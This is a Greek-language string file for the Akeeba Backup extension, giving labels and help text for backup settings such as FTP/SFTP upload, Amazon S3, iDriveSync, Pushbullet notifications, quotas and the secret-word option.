COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Όταν δεν έχει επιλεγεί (προεπιλογή), το Akeeba Backup θα δημιουργεί αντίγραφα ασφαλείας όλων των αρχείων και καταλόγων κάτω από τον ριζικό κατάλογο του ιστότοπου στον οποίο είναι εγκατεστημένο. Όταν είναι ενεργοποιημένο, θα δημιουργεί αντίγραφα ασφαλείας αρχείων και καταλόγων κάτω από τον κατάλογο που επιλέγεται στο Εξαναγκασμός Ριζικού Καταλόγου Ιστότοπου παρακάτω."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Παράκαμψη ριζικού καταλόγου ιστότοπου"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Εάν ενεργοποιηθεί, το Akeeba Backup θα προσπαθήσει να συνδεθεί στον διακομιστή FTP σας χρησιμοποιώντας κρυπτογραφημένη σύνδεση SSL. <strong>Αυτό δεν είναι το ίδιο με SFTP, SCP ή «Ασφαλές FTP»!</strong> Σημειώστε ότι εάν ο διακομιστής σας δεν υποστηρίζει αυτή τη μέθοδο θα λαμβάνετε σφάλματα σύνδεσης."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Χρήση FTP μέσω SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Το hostname του διακομιστή FTP, χωρίς πρωτόκολλο. Αυτό σημαίνει ότι το <code>ftp://example.com</code> είναι <strong>μη έγκυρο</strong> και το <code>example.com</code> είναι έγκυρο. Αυτή η μηχανή υποστηρίζει μόνο διακομιστές FTP και FTPS. <u>Δεν</u> υποστηρίζει SFTP, SCP και άλλες παραλλαγές SSH."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="Η απόλυτη <strong>FTP</strong> διαδρομή προς τον κατάλογο όπου θα μεταφορτωθούν τα αρχεία. Εάν δεν είστε σίγουροι, συνδεθείτε στον διακομιστή σας με το FileZilla, περιηγηθείτε στον επιθυμητό κατάλογο και αντιγράψτε τη διαδρομή που εμφανίζεται στο δεξί πλαίσιο πάνω από τη λίστα καταλόγων. Συνήθως είναι κάτι σύντομο, όπως <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Αρχικός κατάλογος"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="Η σχετική διαδρομή προς τον αρχικό κατάλογο, θα δημιουργηθεί αν δεν υπάρχει. Αφήστε κενό για μεταφόρτωση των αρχείων απευθείας μέσα στον αρχικό κατάλογο. Μπορείτε να χρησιμοποιήσετε τις ακόλουθες μακροεντολές:<ul><li><strong>[HOST]</strong> Το hostname. ΠΡΟΕΙΔΟΠΟΙΗΣΗ! Αυτή η ετικέτα δεν λειτουργεί σε λειτουργία CRON.</li><li><strong>[DATE]</strong> Τρέχουσα ημερομηνία</li><li><strong>[TIME]</strong> Τρέχουσα ώρα</li></ul>Περισσότερες είναι διαθέσιμες· συμβουλευτείτε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Υποκατάλογος"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Χρήση παθητικής λειτουργίας FTP κατά τη μεταφορά δεδομένων. Είναι ενεργοποιημένη από προεπιλογή καθώς είναι η μόνη μέθοδος που λειτουργεί μέσω τειχών προστασίας που εγκαθίστανται συνήθως σε web servers. Μην απενεργοποιείτε εκτός αν είστε βέβαιοι ότι ο web server σας δεν βρίσκεται πίσω από τείχος προστασίας και ο διακομιστής FTP απαιτεί απολύτως μεταφορές αρχείων σε ενεργητική λειτουργία."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Χρήση παθητικής λειτουργίας"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Ο κωδικός του διακομιστή FTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Κωδικός"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Η θύρα του διακομιστή FTP. Η πιο συνηθισμένη ρύθμιση είναι 21. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Θύρα"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Χρησιμοποιήστε αυτό το κουμπί για να δοκιμάσετε τη σύνδεση FTP και να δείτε τα σφάλματα σύνδεσης σε περίπτωση αποτυχίας."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Δοκιμή σύνδεσης FTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Το όνομα χρήστη του διακομιστή FTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup θα εκτελεί τη μηχανή μεταεπεξεργασίας για κάθε τμήμα μόλις ολοκληρωθεί. Όταν είναι απενεργοποιημένο, το Akeeba Backup θα εκτελεί τη μεταεπεξεργασία για όλα τα τμήματα στο τέλος της διαδικασίας backup."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Επεξεργασία κάθε τμήματος αμέσως"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Το hostname του διακομιστή SFTP, χωρίς πρωτόκολλο. Αυτό σημαίνει ότι το <code>sftp://example.com</code> ή <code>ssh://example.com</code> είναι <strong>μη έγκυρο</strong> και ΔΕΝ πρέπει να χρησιμοποιηθεί, αλλά το <code>example.com</code> είναι έγκυρο και ΠΡΕΠΕΙ να χρησιμοποιηθεί. Αυτή η μηχανή υποστηρίζει μόνο διακομιστές SFTP (SSH). <u>Δεν</u> υποστηρίζει FTP, FTPS ή οποιαδήποτε άλλη παραλλαγή FTP. Απαιτεί εγκατεστημένη και ενεργοποιημένη την επέκταση PHP SSH2."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="Η απόλυτη <strong>SFTP</strong> διαδρομή (συνήθως ίδια με τη διαδρομή συστήματος αρχείων) προς τον κατάλογο όπου θα μεταφορτωθούν τα αρχεία. Εάν δεν είστε σίγουροι, συνδεθείτε στον διακομιστή σας με το FileZilla, περιηγηθείτε στον επιθυμητό κατάλογο και αντιγράψτε τη διαδρομή που εμφανίζεται στο δεξί πλαίσιο πάνω από τη λίστα καταλόγων. Συνήθως είναι κάτι μακρύ, όπως <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Αρχικός κατάλογος"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Ο κωδικός του διακομιστή SFTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Κωδικός"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Η θύρα του διακομιστή SFTP. Η πιο συνηθισμένη ρύθμιση είναι 22. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Θύρα"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="ΔΙΑΒΑΣΤΕ ΤΗΝ ΤΕΚΜΗΡΙΩΣΗ ΠΡΙΝ ΧΡΗΣΙΜΟΠΟΙΗΣΕΤΕ. Η απόλυτη διαδρομή συστήματος αρχείων σε ένα αρχείο ιδιωτικού κλειδιού RSA/DSA που χρησιμοποιείται για σύνδεση στον απομακρυσμένο διακομιστή. Εάν είναι κρυπτογραφημένο, εισαγάγετε τη φράση πρόσβασης στο πεδίο κωδικού παραπάνω. Εάν δεν γνωρίζετε τι είναι αυτό, ή εάν νομίζετε ότι χρειάζεται να ζητήσετε υποστήριξη γι' αυτό, αφήστε το κενό και μην μας ρωτάτε γι' αυτό."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Αρχείο Ιδιωτικού Κλειδιού (για προχωρημένους)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="ΔΙΑΒΑΣΤΕ ΤΗΝ ΤΕΚΜΗΡΙΩΣΗ ΠΡΙΝ ΧΡΗΣΙΜΟΠΟΙΗΣΕΤΕ. Η απόλυτη διαδρομή συστήματος αρχείων σε ένα αρχείο δημόσιου κλειδιού RSA/DSA που χρησιμοποιείται για σύνδεση στον απομακρυσμένο διακομιστή. Εάν δεν γνωρίζετε τι είναι αυτό, ή εάν νομίζετε ότι χρειάζεται να ζητήσετε υποστήριξη γι' αυτό, αφήστε το κενό και μην μας ρωτάτε γι' αυτό."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Αρχείο Δημόσιου Κλειδιού (για προχωρημένους)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Χρησιμοποιήστε αυτό το κουμπί για να δοκιμάσετε τη σύνδεση SFTP και να δείτε τα σφάλματα σύνδεσης σε περίπτωση αποτυχίας."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Δοκιμή σύνδεσης SFTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Το όνομα χρήστη του διακομιστή SFTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="Ο κατάλογος εντός του λογαριασμού iDriveSync σας όπου θα αποθηκεύονται τα αρχεία backup. Αφήστε κενό ή ορίστε / για αποθήκευση αρχείων στον ριζικό κατάλογο του λογαριασμού σας."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="Από τα μέσα του 2016, οι νέοι χρήστες πρέπει να χρησιμοποιούν το νέο endpoint API"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Χρήση νέου endpoint"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="Ο κωδικός iDriveSync σας"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Κωδικός"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="Το ιδιωτικό κλειδί iDriveSync σας. Μόνο εάν χρησιμοποιείτε ήδη ιδιωτικό κλειδί στον λογαριασμό iDriveSync σας."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Ιδιωτικό κλειδί (προαιρετικό)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="Το όνομα χρήστη ή η διεύθυνση e-mail που χρησιμοποιήσατε για εγγραφή στο iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Όνομα χρήστη ή e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="Η διεύθυνση email στην οποία θα αποστέλλονται τα αρχεία backup"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Διεύθυνση email"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="Το θέμα του email (προαιρετικό). Αυτή η επιλογή υπάρχει κυρίως για να σας βοηθά να ξεχωρίζετε αντίγραφα ασφαλείας από πολλαπλές τοποθεσίες."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Θέμα email"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Οι μηχανές μεταεπεξεργασίας επιτρέπουν στο Akeeba Backup να μεταφέρει ολοκληρωμένα τμήματα αρχείων backup σε άλλους διακομιστές και απομακρυσμένους παρόχους αποθήκευσης."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Μηχανή μεταεπεξεργασίας"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Μεταβείτε στο https://www.pushbullet.com/account και αντιγράψτε το Access Token από εκείνη τη σελίδα στο πλαίσιο κειμένου εδώ. Χρησιμοποιείται για αποστολή push μηνυμάτων στον λογαριασμό σας. Μπορείτε να επικολλήσετε αρκετά tokens διαχωρισμένα με κόμματα. Σημείωση: το Access Token είναι ορατό σε όλους που έχουν πρόσβαση σε αυτή τη σελίδα ρύθμισης."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Pushbullet Access Token"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Εδώ μπορείτε να ρυθμίσετε push ειδοποιήσεις για συμβάντα backup που αποστέλλονται απευθείας στο τηλέφωνο, tablet, φορητό ή επιτραπέζιο υπολογιστή σας. Χρειάζεται πρώτα να κατεβάσετε την δωρεάν εφαρμογή τρίτου μέρους <a href='http://pushbullet.com/'>Pushbullet</a>."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Push Ειδοποιήσεις"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Να αποστέλλει το Akeeba Backup ειδοποιήσεις και, εάν ναι, πώς; Εάν επιλέξετε Web Push, αποθηκεύστε αυτές τις επιλογές και επιστρέψτε στη σελίδα Πίνακα Ελέγχου. Θα δείτε μια νέα περιοχή Push Ειδοποιήσεων κάτω από τα γρήγορα εικονίδια backup όπου μπορείτε να διαχειριστείτε τις push ειδοποιήσεις για το πρόγραμμα περιήγησής σας."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Push ειδοποιήσεις"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Απενεργοποιημένο"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (API προγράμματος περιήγησης)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Όταν έχει επιλεγεί, το Akeeba Backup θα εμφανίζει εικονίδιο backup με ένα κλικ στην κορυφή της σελίδας Πίνακα Ελέγχου. Κάνοντας κλικ σε αυτό θα ενεργοποιηθεί αυτό το προφίλ και θα ληφθεί backup χωρίς καμία περαιτέρω ενέργεια από εσάς."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Εικονίδιο backup με ένα κλικ"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="Το τρέχον backup συμμετέχει στις ποσοστώσεις απομακρυσμένων αρχείων"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Όταν είναι ενεργοποιημένο, το backup που βρίσκεται σε εξέλιξη συμμετέχει στις ποσοστώσεις απομακρυσμένων αρχείων. Αυτό μπορεί να είναι προβληματικό· εάν το backup έχει μεταφορτωθεί εν μέρει στο απομακρυσμένο χώρο αποθήκευσης και οι ρυθμίσεις ποσόστωσης είναι τέτοιες ώστε να διατηρείται μόνο το τελευταίο backup, μπορεί να καταλήξετε χωρίς έγκυρο backup αποθηκευμένο εξ αποστάσεως. Η απενεργοποίησή του θα καταστήσει λιγότερο πιθανό να καταλήξετε χωρίς έγκυρο backup σε απομακρυσμένο χώρο αποθήκευσης σε βάρος της αποθήκευσης ενός επιπλέον αρχείου backup εξ αποστάσεως."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Ποσοστώσεις Τοπικών Αρχείων"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Ποσοστώσεις Απομακρυσμένων Αρχείων"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Αυτό ορίζει πόσο συντηρητικό θα είναι το Akeeba Backup κατά την προσπάθεια αποφυγής λήξης χρονικού ορίου. Όσο χαμηλότερη είναι η τιμή, τόσο πιο συντηρητικό γίνεται. Εάν λαμβάνετε σφάλματα λήξης χρονικού ορίου, δοκιμάστε να μειώσετε τόσο τον Μέγιστο Χρόνο Εκτέλεσης όσο και αυτή τη ρύθμιση.<strong>Συμβουλή</strong>: Επιλέξτε Προσαρμοσμένο και πληκτρολογήστε την επιθυμητή τιμή αν δεν υπάρχει στη λίστα."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Μεροληψία χρόνου εκτέλεσης"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="Το Access Key Amazon S3 σας, διαθέσιμο στη σελίδα προσωπικού προφίλ Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Access Key"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="Το όνομα του κάδου Amazon S3 σας"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Κάδος"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="Για χρήση με υπηρεσίες αποθήκευσης τρίτων που υλοποιούν API συμβατό με S3. Εισαγάγετε το endpoint (URL API) του S3-συμβατού API της υπηρεσίας αποθήκευσης τρίτου. ΣΗΜΑΝΤΙΚΟ: Εάν χρησιμοποιείτε Amazon S3 <strong>ΠΡΕΠΕΙ ΝΑ ΑΦΗΣΕΤΕ ΑΥΤΟ ΚΕΝΟ</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Προσαρμοσμένο endpoint"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="Ο κατάλογος εντός του κάδου σας όπου θα αποθηκεύονται τα αρχεία backup. Αφήστε κενό για αποθήκευση αρχείων στον ριζικό κατάλογο του κάδου."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Δικαιώματα αρχείου (ACL)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Επιλέξτε τα δικαιώματα του μεταφορτωμένου αρχείου. Στις περισσότερες περιπτώσεις «Ιδιωτικό» ή «Ο κάτοχος κάδου μπορεί να διαβάσει» είναι οι πιο κατάλληλες επιλογές. Εάν χρησιμοποιείτε υπηρεσία τρίτου συμβατή με S3, ίσως θέλετε να χρησιμοποιήσετε «Ιδιωτικό» αντί της προεπιλεγμένης ρύθμισης."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Ιδιωτικό"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Ανάγνωση από οποιονδήποτε"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Ανάγνωση και εγγραφή από οποιονδήποτε"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Ανάγνωση από πιστοποιημένους χρήστες IAM"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="Ο κάτοχος κάδου μπορεί να διαβάσει"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="Ο κάτοχος κάδου έχει πλήρη έλεγχο"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Όταν είναι ενεργοποιημένο, όλες οι μεταφορτώσεις στο Amazon S3 θα εξαναγκάζονται να είναι μονού τμήματος. Χρησιμοποιήστε αυτό εάν λαμβάνετε σφάλματα RequestTimeout από τη μηχανή S3 κατά τη μεταφόρτωση τμημάτων backup."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Απενεργοποίηση μεταφορτώσεων πολλαπλών τμημάτων"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Επιλέξτε την κλάση αποθήκευσης για τα δεδομένα σας. Η Standard είναι η κανονική αποθήκευση για κρίσιμα επιχειρηματικά δεδομένα. Συμβουλευτείτε την τεκμηρίωση Amazon S3 για την περιγραφή κάθε κλάσης αποθήκευσης."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Κλάση αποθήκευσης"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="Το Secret Key Amazon S3 σας, διαθέσιμο στη σελίδα προσωπικού προφίλ Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Secret Key"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Εάν ενεργοποιηθεί, θα χρησιμοποιείται ασφαλής σύνδεση (HTTPS) κατά τη μεταφόρτωση των αρχείων σας. Ενώ αυξάνει την ασφάλεια των μεταφερόμενων δεδομένων, αυξάνει επίσης την πιθανότητα αποτυχίας backup λόγω λήξης χρονικού ορίου."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Χρήση SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Να χρησιμοποιούνται τα dual-stack endpoints για το Amazon S3; Αυτό επιτρέπει πρόσβαση στο S3 μέσω IPv6 για διακομιστές που υποστηρίζουν IPv6. Διακομιστές χωρίς υποστήριξη IPv6 θα εξακολουθούν να έχουν πρόσβαση στο S3 μέσω IPv4. Δεν έχει αποτέλεσμα εάν χρησιμοποιείτε προσαρμοσμένο endpoint."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Ενεργοποίηση υποστήριξης IPv6 (dual-stack)"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Εναλλακτική μορφή ημερομηνίας"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Απενεργοποιήστε αυτή τη ρύθμιση μόνο εάν η υποστήριξη σάς ζητήσει να το κάνετε."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Χρήση της κεφαλίδας HTTP Date αντί X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Ενεργοποιήστε αυτή τη ρύθμιση μόνο εάν η υποστήριξη σάς ζητήσει να το κάνετε."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Συμπερίληψη ονόματος κάδου σε προυπογεγραμμένες URL v4"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Ενεργοποιήστε αυτή τη ρύθμιση μόνο εάν η υποστήριξη σάς ζητήσει να το κάνετε."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Νέο προφίλ backup"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="Η ρύθμιση παραμέτρων αποθηκεύτηκε"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Ορίζει πώς το Akeeba Backup θα σαρώνει τα αρχεία και τους φακέλους του ιστότοπού σας για να καθορίσει ποια από αυτά πρέπει να λάβουν backup."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Μηχανή σάρωσης συστήματος αρχείων"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Αυτός ο κωδικός θα χρησιμοποιηθεί με τις λειτουργίες Front-end Backup (Legacy API) και JSON API για προστασία τους από μη εξουσιοδοτημένη πρόσβαση. Το Akeeba Backup ΔΕΝ θα ενεργοποιήσει αυτές τις λειτουργίες εκτός αν χρησιμοποιήσετε εδώ έναν μακρύ, σύνθετο κωδικό. Συμβουλευτείτε την τεκμηρίωση για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Μυστική λέξη"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Όταν είναι ενεργοποιημένο, οι ρυθμίσεις παραμέτρων κρυπτογραφούνται χρησιμοποιώντας την κρυπτογράφηση AES-128 βιομηχανικού προτύπου."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Χρήση κρυπτογράφησης"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Χωρίς flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Απενεργοποιεί τη χρήση flush() κατά τις λειτουργίες AJAX. Ενεργοποιήστε μόνο σε πολύ προβληματικούς διακομιστές όπου το backup δεν ξεκινά καν."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Ακριβής διαδρομή PHP-CLI"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Ενεργοποιήστε για να προσπαθήσει το Akeeba Backup να εντοπίσει την ακριβή διαδρομή PHP-CLI στον διακομιστή σας. Απενεργοποιήστε εάν ο διακομιστής σας δεν σας επιτρέπει να το κάνετε, κλειδώνοντας τη διεύθυνση IP σας έξω από τον ιστότοπό σας για αρκετά λεπτά έως ώρες όταν αυτό συμβαίνει (για παράδειγμα IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="ΔΕΝ πρέπει να προσθέτετε το πρόθεμα sftp:// στο Hostname SFTP σας. Αφαιρέστε το πρόθεμα sftp:// και δοκιμάστε ξανά."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Το Akeeba Backup κατάφερε να συνδεθεί στον διακομιστή σας, αλλά δεν μπόρεσε να μεταφορτώσει ένα αρχείο δοκιμής. Η μεταφόρτωση backup μπορεί να αποτύχει."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Όταν ενεργοποιηθεί, το Akeeba Backup θα διαγράφει παλιά αρχεία backup εάν το συνολικό μέγεθος των αρχείων backup υπερβαίνει την τιμή που ορίζεται παρακάτω. Αυτή η ρύθμιση εφαρμόζεται <strong>ανά προφίλ</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Ενεργοποίηση ποσόστωσης μεγέθους"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Εάν το συνολικό μέγεθος των αρχείων backup που ελήφθησαν με το τρέχον προφίλ υπερβαίνει αυτό το όριο, τα παλαιότερα αντίγραφα ασφαλείας θα διαγραφούν από τον διακομιστή.<br/><br/><strong>Συμβουλή</strong>: Επιλέξτε Προσαρμοσμένο και πληκτρολογήστε την επιθυμητή τιμή αν δεν υπάρχει στη λίστα."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Ποσόστωση μεγέθους"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Τα dumps βάσης δεδομένων σας θα διαχωρίζονται σε μικρά αρχεία για βελτίωση της συμπίεσης και αποφυγή προβλημάτων μεγέθους αρχείου σε ορισμένους φθηνούς hosts. Ιδανικά, πρέπει να χρησιμοποιείτε το μισό μέγεθος του Ορίου Μεγάλων Αρχείων σας. Ορίστε 0 για απενεργοποίηση του διαχωρισμού και δημιουργία ενός μόνο τεράστιου αρχείου dump ανά βάση δεδομένων."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Μέγεθος για διαχωρισμένα αρχεία dump SQL"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Εισαγάγετε το Access Key ID σας. Δημιουργήστε ένα στο https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Access Key ID"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="Ποιος κατάλογος να χρησιμοποιηθεί για αποθήκευση των αρχείων backup. Εάν το πρώτο μέρος του καταλόγου δεν αντιστοιχεί στο όνομα ενός φακέλου συγχρονισμού SugarSync, ο κατάλογος θα δημιουργηθεί μέσα στον φάκελο Magic Briefcase σας. Μπορείτε να χρησιμοποιήσετε τις ίδιες μεταβλητές που χρησιμοποιείτε για ονόματα αρχείων backup, π.χ. [HOST] για το domain name του ιστότοπού σας ή [DATE] για την τρέχουσα ημερομηνία."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Κατάλογος"
